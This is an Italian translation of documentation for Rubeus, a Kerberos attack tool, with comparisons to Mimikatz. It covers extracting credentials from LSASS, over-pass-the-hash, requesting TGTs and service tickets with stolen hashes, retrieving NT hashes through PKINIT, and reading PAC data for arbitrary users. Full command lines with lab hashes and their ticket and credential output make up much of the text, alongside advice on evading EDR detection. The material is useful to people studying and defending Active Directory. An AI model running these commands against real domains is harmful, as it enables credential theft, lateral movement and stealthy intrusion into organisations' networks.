Mimikatz è il coltellino svizzero dell'estrazione delle credenziali, con molteplici opzioni. Il comando sekurlsa::logonpasswords aprirà un handle di lettura su LSASS, enumererà le sessioni di accesso presenti sul sistema, esaminerà i pacchetti di autenticazione predefiniti per ogni sessione di accesso ed estrarrà qualsiasi materiale di credenziale/password reversibile presente. Nota a margine: il comando sekurlsa::ekeys enumererà TUTTI i tipi di chiave presenti per il pacchetto Kerberos.
Rubeus non ha alcun codice per toccare LSASS (e non è previsto), quindi la sua funzionalità è limitata all'estrazione di ticket Kerberos tramite l'API LsaCallAuthenticationPackage(). Da un punto di vista non elevato, le chiavi di sessione per i TGT non vengono restituite (per impostazione predefinita), quindi solo i ticket di servizio estratti saranno utilizzabili (il comando tgtdeleg utilizza un trucco di Kekeo per ottenere un TGT utilizzabile per l'utente corrente). Se in un contesto ad alta integrità, viene eseguito un equivalente GetSystem che utilizza la duplicazione dei token per elevarsi a SYSTEM, e viene registrata un'applicazione di accesso fittizia con la chiamata API LsaRegisterLogonProcess(). Ciò consente l'enumerazione e l'estrazione privilegiata di tutti i ticket attualmente registrati con LSA sul sistema, producendo output .kirbi in base64 per un successivo riutilizzo.
Mimikatz può eseguire la stessa estrazione .kirbi in base64 con la seguente serie di comandi:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # standard::base64 /output:true
mimikatz # kerberos::list /export
Mimikatz può anche estrarre i ticket direttamente dalla memoria di LSASS con:
mimikatz # privilege::debug
mimikatz # standard::base64 /output:true
mimikatz # sekurlsa::tickets /export
Dato che "tutto è furtivo finché qualcuno non lo cerca", è discutibile se la manipolazione di LSASS o l'estrazione di ticket tramite la chiamata API LsaCallAuthenticationPackage() sia più "furtiva". A causa della popolarità di Mimikatz, l'apertura di un handle su LSASS e la lettura/scrittura della sua memoria sono diventate un grande obiettivo per il rilevamento e/o la prevenzione da parte degli EDR. Tuttavia, LsaCallAuthenticationPackage() è utilizzata da un insieme abbastanza limitato di processi, e creare un'applicazione di accesso fittizia con LsaRegisterLogonProcess() è anche un comportamento abbastanza anomalo. Tuttavia, l'introspezione completa a livello di API e la baseline sembrano essere un problema tecnico più difficile rispetto alla protezione di LSASS.
Supponiamo di recuperare l'hash rc4_hmac (NTLM) di un utente e di voler riutilizzare questa credenziale per compromettere un'altra macchina su cui l'account utente ha accesso privilegiato.
Nota a margine: pass-the-hash != over-pass-the-hash. La tecnica tradizionale pass-the-hash prevede il riutilizzo di un hash tramite il protocollo NTLMv1/NTLMv2, che non tocca affatto Kerberos. L'approccio over-pass-the-hash è stato sviluppato da Benjamin Delpy e Skip Duckwall (vedere la loro presentazione "Abusing Microsoft Kerberos - Sorry you guys don't get it" per maggiori informazioni). Questo approccio trasforma un hash/chiave (rc4_hmac, aes256_cts_hmac_sha1, ecc.) per un utente aggiunto al dominio in un ticket di concessione ticket (TGT) a tutti gli effetti.
Confrontiamo "over-pass-the-hash" tramite il comando sekurlsa::pth di Mimikatz con l'uso del comando asktgt di Rubeus (o Kekeo se preferisci).
Quando sekurlsa::pth viene utilizzato per over-pass-the-hash, Mimikatz crea prima un nuovo processo di tipo di accesso 9 con credenziali fittizie - questo crea una nuova sessione di accesso "sacrificale" che non interagisce con la sessione di accesso corrente. Quindi apre il processo LSASS con la capacità di scrivere nella memoria del processo, e l'hash/chiave fornito viene quindi applicato nella sezione appropriata per la sessione di accesso associata (in questo caso, la sessione di accesso "sacrificale" che è stata avviata). Ciò fa sì che il normale processo di autenticazione Kerberos si avvii normalmente come se l'utente avesse effettuato l'accesso normalmente, trasformando l'hash fornito in un TGT a tutti gli effetti.
Quando viene eseguito il comando asktgt di Rubeus (o l'equivalente di Kekeo), viene utilizzato il protocollo Kerberos grezzo per richiedere un TGT, che viene quindi applicato alla sessione di accesso corrente se viene passato il flag /ptt.
Con l'approccio Mimikatz, sono necessari diritti amministrativi poiché si manipola direttamente la memoria di LSASS. Come accennato in precedenza, la popolarità di Mimikatz ha portato anche questo tipo di comportamento (aprire un handle su LSASS e leggere/scrivere la sua memoria) a diventare un grande obiettivo per il rilevamento e/o la prevenzione da parte degli EDR. Con l'approccio Rubeus/Kekeo, non sono necessari diritti amministrativi poiché LSASS non viene toccato. Tuttavia, se il ticket viene applicato alla sessione di accesso corrente (con /ptt), il TGT per la sessione di accesso corrente verrà sovrascritto. Questo comportamento può essere evitato (con accesso amministrativo) utilizzando il comando /createnetonly per creare un processo/sessione di accesso sacrificale, quindi usando /ptt /ticket:X /luid:0xa.. con il LUID del processo appena creato. Se si utilizza Cobalt Strike, l'uso del comando make_token con credenziali fittizie e quindi kerberos_ticket_use con il ticket recuperato da Rubeus ti permetterà di applicare il nuovo TGT in un modo che a) non necessita di diritti amministrativi e b) non calpesta il TGT della sessione di accesso corrente.
Siamo dell'opinione che l'approccio di manipolazione di LSASS sia più probabile (al momento) di essere rilevato o mitigato a causa della popolarità della tecnica. Tuttavia l'approccio Rubeus si traduce in un altro pezzo di comportamento rilevabile. Il traffico Kerberos verso la porta 88 dovrebbe normalmente provenire solo da lsass.exe - l'invio di traffico grezzo di questo tipo da un processo anomalo potrebbe essere rilevabile se le informazioni possono essere raccolte.
Nota a margine: un modo in cui entrambi gli approcci possono potenzialmente essere scoperti è il già menzionato rilevamento di "degradazione della crittografia". Per recuperare le chiavi AES, utilizzare il modulo sekurlsa::ekeys di Mimikatz per restituire TUTTE le chiavi di crittografia Kerberos (lo stesso con lsadump::dcsync), che sono migliori da usare quando si cerca di eludere alcuni rilevamenti.
Suddivisione dei comandi di richiesta ticket:
L'azione asktgt costruirà traffico AS-REQ (richiesta TGT) grezzo per l'utente specificato e la chiave di crittografia (/rc4, /aes128, /aes256 o /des). Può essere utilizzato anche un flag /password invece di un hash - in questo caso /enctype:X sarà impostato su RC4 per impostazione predefinita per lo scambio, con des|aes128|aes256 come opzioni. Se non viene specificato /domain, viene estratto il dominio corrente del computer, e se non viene specificato /dc, lo stesso viene fatto per il controller di dominio corrente del sistema. Se l'autenticazione ha successo, l'AS-REP risultante viene analizzato e il KRB-CRED (un .kirbi, che include il TGT dell'utente) viene emesso come blob base64. Il flag /ptt eseguirà il "pass-the-ticket" e applicherà la credenziale Kerberos risultante alla sessione di accesso corrente. Il flag /luid:0xA.. applicherà il ticket all'ID della sessione di accesso specificato (necessari privilegi elevati) invece della sessione di accesso corrente.
Nota che non sono necessari privilegi elevati sull'host per richiedere TGT o applicarli alla sessione di accesso corrente, solo l'hash corretto per l'utente target. Inoltre, un'altra nota opsec: solo un TGT può essere applicato alla volta alla sessione di accesso corrente, quindi il TGT precedente viene cancellato quando il nuovo ticket viene applicato utilizzando l'opzione /ptt. Una soluzione alternativa è utilizzare il parametro /createnetonly:C:\X.exe (che nasconde il processo per impostazione predefinita a meno che non venga specificato il flag /show), o richiedere il ticket e applicarlo a un'altra sessione di accesso con ptt /luid:0xA...
Per impostazione predefinita, esistono diverse differenze tra gli AS-REQ generati da Rubeus e quelli genuini. Per formare AS-REQ più in linea con le richieste genuine, è possibile utilizzare il flag /opsec, che invierà prima un AS-REQ iniziale senza pre-autenticazione; se questo ha successo, l'AS-REP risultante viene decrittato e il TGT restituito, altrimenti viene quindi inviato un AS-REQ con pre-autenticazione. Poiché questo flag è progettato per rendere il traffico di Rubeus più furtivo, non può essere utilizzato per impostazione predefinita con alcun tipo di crittografia diverso da aes256 e genererà semplicemente un avviso e uscirà se viene utilizzato un altro tipo di crittografia. Per consentire l'uso di altri tipi di crittografia con le modifiche /opsec, esiste il flag /force.L'autenticazione PKINIT è supportata con l'argomento /certificate:X. Quando la chiave privata all'interno del file PFX è protetta da password, questa password può essere passata con l'argomento /password:X. Quando si utilizza l'autenticazione PKINIT, il flag /getcredentials può essere usato per richiedere automaticamente un ticket di servizio U2U e recuperare l'NT hash dell'account.
Richiedere un TGT senza PAC può essere fatto usando l'opzione /nopac.
È possibile utilizzare un proxy KDC (MS-KKDCP) per effettuare la richiesta usando l'argomento /proxyurl:URL. È richiesto l'URL completo del proxy KDC, ad es. https://kdcproxy.exmaple.com/kdcproxy
Il flag /nopreauth può essere usato per inviare una AS-REQ senza pre-autenticazione. L'argomento /service:SPN può essere usato per richiedere ticket di servizio direttamente tramite AS-REQ; accetterà un SPN o un nome utente.
Richiedere un ticket tramite hash RC4 per [email protected], applicandolo alla sessione di accesso corrente:
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.1
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
oAMCAQKhGTAXGwZrcmJ0Z3QbDXRlc3RsYWIubG9jYWyjggRlMIIEYaADAgESoQMCAQKiggRTBIIETwrl
zIpKjTT11eteJCn+0rtlKwtTW/8XvoWXy61rOCrOIo16YPiMe4usXoJaOqsvCydMgd6955hT+IoFMyGG
VfVxetoM1Oa5aPA2sfzJeogn4RpFBoY5vjjKBzPaTJptPRX7Wjg0o1FTszJET4mhQyLKxQMgprKcc2mz
yniQzGPI19O95aSoPpNar+4lKlyBsL4QjSEeBdZQ2/Ab1JVu3eh1xCsWkKUUlabbzeZwo8SG0QkZ0DKk
qOD8hx5wbQ+w8emcLvHMIrmg1xO2OPngK76C3daeiS59UVADSz/n3H7Tfuk+EXSdZ8DC4/c8KIZvHsC6
cO/ymVFxyuRJLg7VThl8keZmbWzYei6xAwH7mUAUEA1lk0pEHx12nAHcKILsbS3F9wAcHMNEGe/Xa3UK
INJ0q+JvdJpCPo/wgyu7wjKgsdpgUV0siVfpGaxG7yh6s3U2tAlBWnWdGF/Gy/FkOk/hJxhTTHcHa5XE
LTaXY9cnraee+llJqmOnHfjPa5+XNTnVtBZjT0SPRnSXfdPG5BgiXYlCjr5ykhF8MdVE1Se+WtEZJuPj
lYrCtWo2oEjBbYMb3YGTcWh5+oWNY1QdxSpyFc8IDQOTOCnQ+nsQf78phU7svTBm0b5AqqPD/olz1RYm
f4qR+90TcASaQGwHUQbpFnLb2U9BHwNS+SlRwafFT5qlTmXaqoQMMjknospm0+v0U8hd8KbZ4jwK2hM+
vE74bOiAMdjTf5YLDorRyuFUoa7oIaJZTXxsLmqZsBCsUnH5etXTb9vHj7Dl27wyP9snRHIWuE8Rdo9Z
zAJK6PESaBcUqhKqkjWLUKDuT2+SCduPVF6+3QJB0xLJrwXKp/MiV418H/pHRoy6JkKKw2m1bw45P8Az
l54g75WJqEiAzj/+I64TUfbEFJtd9OHujAKzjMMiKRQKwTKR1Jfb6gTrv6K0GCTJ15W84DeWc47jTutE
HbWxuKib3niTTM5YcHZcN6h/V8Zef8r4fdhY20xGCwqlT9X5md96+647bRq/AZDtiAEaVAH5f3QTQen8
o6XpVqSoZxRASEs3oKFfNunBFJ+QxOL4A47iO1JH0wlM7L2Vx+QeDMfqUh3i9S71YBLdHtPflo8ivmNS
gf0dIeAE2rHRNQn+q7vvrl4r/Bxy3CikzBWnq9Nff8vUJmZ0MQBc4mBpykuuFtLuEJOELdUzW4uCF/9a
JffKDnWk0lIDymImtxqTO0Y/mk0zEQ7RZNUIR3vtrNSO84CjZ/YFYCIdIR5wCzztPSZ0RH7C4lVueBO5
ZoDiWYvPuOQsZHkP2XD+GQtu0hN6MOfLOKGVmNrKs1KRfWhbqnTQudjFSkvgHlgjIslKJDa6WzmSQhdW
fPIA9ggjCmQtyB6seiYi9LdJuQ+GiiF2UphTEJ+a5DR6rGYbg4hhd+ru2Z8Lt5rBojliLnedafyZJ15t
alU+n8aNdIPXfVmsR3caTXkncNBlo4HWMIHToAMCAQCigcsEgch9gcUwgcKggb8wgbwwgbmgGzAZoAMC
ARehEgQQ+zY8adXi2NuvkAxl1ohUOKEPGw1URVNUTEFCLkxPQ0FMohIwEKADAgEBoQkwBxsFZGZtLmGj
BwMFAEDhAAClERgPMjAxOTAyMjUyMzA2MDdaphEYDzIwMTkwMjI2MDQwNjA3WqcRGA8yMDE5MDMwNDIz
MDYwN1qoDxsNVEVTVExBQi5MT0NBTKkiMCCgAwIBAqEZMBcbBmtyYnRndBsNdGVzdGxhYi5sb2NhbA==
[*] Action: Import Ticket
[+] Ticket successfully imported!
[*] Action: Describe Ticket
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : krbtgt/testlab.local
ServiceRealm : TESTLAB.LOCAL
StartTime : 2/25/2019 3:06:07 PM
EndTime : 2/25/2019 8:06:07 PM
RenewTill : 3/4/2019 3:06:07 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : +zY8adXi2NuvkAxl1ohUOA==
Richiedere un ticket tramite hash aes256_hmac per [email protected], avviando un nuovo processo nascosto e applicando il ticket a quella sessione di accesso. Nota: è necessaria l'elevazione dei privilegi!
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /domain:testlab.local /aes256:e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27 /createnetonly:C:\Windows\System32\cmd.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Create Process (/netonly)
[*] Showing process : False
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 7564
[+] LUID : 0x3c4c241
[*] Action: Ask TGT
[*] Using aes256_cts_hmac_sha1 hash: e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27
[*] Target LUID : 63226433
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 234 bytes
[*] Received 1620 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFujCCBbagAwIBBaEDAgEWooIEvzCCBL...(snip)...
[*] Action: Import Ticket
[*] Target LUID: 0x3c4c241
[+] Ticket successfully imported!
Nota che i parametri /luid e /createnetonly richiedono l'elevazione dei privilegi!
Richiedere un ticket usando un certificato e utilizzando /getcredentials per recuperare l'NT hash:
C:\Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /getcredentials /certificate:MIIR3QIB...(snip)...QI/GZmyPRFEeE=
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=Harm J0y, CN=Users, DC=rubeus, DC=ghostpack, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'rubeus.ghostpack.local\harmj0y'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIF9DCCBfCgAwIBBaEDAgEWooIE7DCCBOhhggTkMIIE4KADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
YnRndBsWcnViZXVzLmdob3N0cGFjay5sb2NhbA==
ServiceName : krbtgt/rubeus.ghostpack.local
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 14/07/2021 02:25:33
EndTime : 14/07/2021 12:25:33
RenewTill : 21/07/2021 02:25:33
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 7MS2ajfZo4HedoK+K3dLcQ==
ASREP (key) : 9B1C28A276FBBE557D0F9EE153FE24E1
[*] Getting credentials using U2U
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : C69A7EA908898C23B72E65329AF7E3E8
L'azione asktgs costruirà/analizzerà una richiesta di ticket di servizio TGS-REQ/TGS-REP grezza utilizzando il TGT specificato fornito con /ticket:X. Questo valore può essere una codifica base64 di un file .kirbi o il percorso di un file .kirbi su disco. Se non viene specificato /dc, il controller di dominio corrente del computer viene estratto e utilizzato come destinazione per il traffico della richiesta. Il flag /ptt eseguirà il "pass-the-ticket" e applicherà il ticket di servizio risultante alla sessione di accesso corrente. Uno o più SPN /service:X devono essere specificati, separati da virgola.
I tipi di crittografia supportati nel TGS-REQ costruito saranno RC4_HMAC, AES128_CTS_HMAC_SHA1 e AES256_CTS_HMAC_SHA1. In questo caso, la crittografia reciprocamente supportata più alta verrà utilizzata dal KDC per costruire il ticket di servizio restituito. Se si desidera forzare chiavi DES, RC4 o AES128/256, utilizzare /enctype:[RC4|AES128|AES256|DES].
Per richiedere un ticket di servizio per un account utilizzando un principal enterprise (es. [email protected]), è possibile utilizzare il flag /enterprise.
Per impostazione predefinita, esistono diverse differenze tra i TGS-REQ generati da Rubeus e i TGS-REQ genuini. Per formare TGS-REQ più in linea con le richieste genuine, è possibile utilizzare il flag /opsec; questo causerà anche l'invio automatico di un ulteriore TGS-REQ quando viene richiesto un ticket di servizio per un account configurato per la delega non vincolata. Poiché questo flag è pensato per rendere il traffico di Rubeus più furtivo, non può essere utilizzato per impostazione predefinita con alcun tipo di crittografia diverso da aes256 e genererà un avviso e terminerà se viene utilizzato un altro tipo di crittografia.
Per sperimentare manualmente con altri scenari, è possibile utilizzare /tgs:X per fornire un ticket aggiuntivo che viene aggiunto al corpo della richiesta. Questo aggiunge anche l'opzione KDC di delega vincolata ed evita di determinare dinamicamente il dominio dall'SPN fornito /service:X; per questo motivo è stato implementato l'argomento /targetdomain:X per forzare la richiesta a utilizzare il dominio fornito, utile per richiedere ticket di servizio delegati da un dominio esterno o ticket con SPN usuali.
Il flag /u2u è stato implementato per richiedere ticket User-to-User. Insieme all'argomento /tgs:X (usato per fornire il TGT dell'account di destinazione), l'argomento /service:X può essere il nome utente dell'account per cui è fornito il TGT (con l'argomento /tgs:X). L'argomento /targetuser:X richiederà un PAC di qualsiasi altro account inserendo una sezione dati PA-FOR-USER con il nome utente dell'utente target.
Il flag /printargs stamperà gli argomenti necessari per forgiare un ticket con gli stessi valori PAC se il PAC è leggibile. Ciò può essere fatto fornendo l'argomento /servicekey:X o eseguendo una richiesta /u2u con una chiave di sessione nota.
È possibile utilizzare un proxy KDC (MS-KKDCP) per effettuare la richiesta usando l'argomento /proxyurl:URL. È richiesto l'URL completo del proxy KDC, ad es. https://kdcproxy.exmaple.com/kdcproxy
Il flag /keyList è stato implementato per le Key List Requests di Kerberos. Queste richieste devono utilizzare un TGT parziale falsificato proveniente da un controller di dominio di sola lettura nel parametro /ticket:BASE64|FILE.KIRBI; ulteriori dettagli su questo TGT falsificato si trovano nella sezione golden. Inoltre, il campo /spn:x deve essere impostato sull'SPN KRBTGT all'interno del dominio, ad es. KRBTBT/domain.local.
L'azione asktgs supporta anche la richiesta di ticket di servizio tramite il pacchetto di autenticazione Kerberos utilizzando LSASS. Questa modalità operativa può essere abilitata omettendo l'argomento /ticket. Per impostazione predefinita, viene utilizzato il TGT associato alla sessione di accesso corrente. È possibile targeting una sessione di accesso alternativa fornendo l'argomento /luid:xxx. Sono necessari privilegi di amministratore locale quando si targeting altre sessioni di accesso. Attualmente, è possibile richiedere solo ticket di servizio semplici tramite LSASS. Gli argomenti per funzionalità come S4U2Self, U2U, key list e proxy KDC vengono ignorati. Richiedere ticket di servizio tramite LSASS può spesso essere più opsec-friendly, poiché il traffico Kerberos avrà origine da LSASS. Questa modalità è inoltre necessaria per scenari in cui Credential Guard / Remote Credential Guard è attivo, poiché il dump dei TGT con credential guard non è possibile.
Richiedere un TGT per dfm.a e poi utilizzare quel ticket per richiedere un ticket di servizio per gli SPN "LDAP/primary.testlab.local" e "cifs/primary.testlab.local":
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1537 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /service:LDAP/primary.testlab.local,cifs/primary.testlab.local /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'LDAP/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'cifs/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>Rubeus.exe klist
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: List Kerberos Tickets (Current User)
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
Server Name : cifs/primary.testlab.local @ TESTLAB.LOCAL
Client Name : dfm.a @ TESTLAB.LOCAL
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
[1] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
Server Name : LDAP/primary.testlab.local @ TESTLAB.LOCAL
Client Name : dfm.a @ TESTLAB.LOCAL
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
Richiedere un ticket di servizio per un account di servizio abilitato per AES, specificando che supportiamo solo RC4_HMAC:
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip).../service:roast/me /enctype:rc4
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.1
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Requesting 'rc4_hmac' etype for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFrjCCBaqgAwIBBaEDA...(snip)...
[*] Action: Describe Ticket
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : roast/me
ServiceRealm : TESTLAB.LOCAL
StartTime : 2/25/2019 3:10:59 PM
EndTime : 2/25/2019 8:09:54 PM
RenewTill : 3/4/2019 3:09:54 PM
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Gg3zZicIl5c50KGecCf8XA==
Richiedere un ticket di servizio user-to-user e includendo la sezione PA-DATA PA for User (una richiesta S4U2self), è possibile ottenere un PAC leggibile per qualsiasi utente:
C:\Rubeus>Rubeus.exe asktgs /u2u /targetuser:ccob /ticket:doIFijCCBYagAwIBBaED...(snip)...3RwYWNrLmxvY2Fs /tgs:doIFijCCBYagAwIBBaEDAg...(snip)...YWNrLmxvY2Fs
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building User-to-User TGS-REQ request for: 'exploitph'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFKzCCBSegAwIBBaEDAgEWooIEKzCCBCdhggQjMIIEH6ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
cGxvaXRwaA==ServiceName : exploitph
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : ccob
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 20/07/2021 22:00:07
EndTime : 21/07/2021 07:59:39
RenewTill : 27/07/2021 21:59:39
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : u2AYdjG4gLNIXqzb3MmwtDtE1k2NR5ty9h80w704+8Q=
Decrypted PAC :
LogonInfo :
LogonTime : 01/01/1601 00:00:00
LogoffTime :
KickOffTime :
PasswordLastSet : 20/07/2021 21:58:44
PasswordCanChange : 21/07/2021 21:58:44
PasswordMustChange : 31/08/2021 21:58:44
EffectiveName : ccob
FullName : C Cob
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 0
BadPasswordCount : 0
UserId : 1109
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (16) NORMAL_ACCOUNT
ExtraSIDCount : 1
ExtraSIDs : S-1-18-2
ResourceGroupCount : 0
ClientName :
Client Id : 20/07/2021 21:59:39
Client Name : ccob
UpnDns :
DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : [email protected]
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_MD5
Signature : 79A2DC5595C76FA85155B4C65B3A0EE1 (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : DA57618BB48EA56371E374B1 (UNVALIDATED)
Se il PAC può essere decifrato (usando una richiesta user-to-user o passando /servicekey) è possibile stampare gli argomenti necessari per forgiare un ticket contenente gli stessi valori del PAC:
C:\Rubeus>Rubeus.exe asktgs /service:roast/me /printargs /servicekey:9FFB199F118556F579B415270EE835005227FCBF29331DAC27C4397AC353F52B /ticket:doIF9DCCBfCgAwIBBaEDAg...(snip)...cGFjay5sb2NhbA==
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIF6jCCBeagAwIBBaEDAgEWooIE5zCCBONhggTfMIIE26ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
AgECoQ0wCxsFcm9hc3QbAm1l
ServiceName : roast/me
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 20/07/2021 00:02:27
EndTime : 20/07/2021 09:57:46
RenewTill : 26/07/2021 23:57:46
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : U9Vnk0QnOmByQqF7i+5ujkinm9pRrevcRhw1sKVEVi4=
Decrypted PAC :
LogonInfo :
LogonTime : 19/07/2021 23:00:38
LogoffTime :
KickOffTime :
PasswordLastSet : 14/07/2021 02:07:12
PasswordCanChange : 15/07/2021 02:07:12
PasswordMustChange :
EffectiveName : harmj0y
FullName : Harm J0y
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 8
BadPasswordCount : 0
UserId : 1106
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
ExtraSIDCount : 1
ExtraSIDs : S-1-18-1
ResourceGroupCount : 0
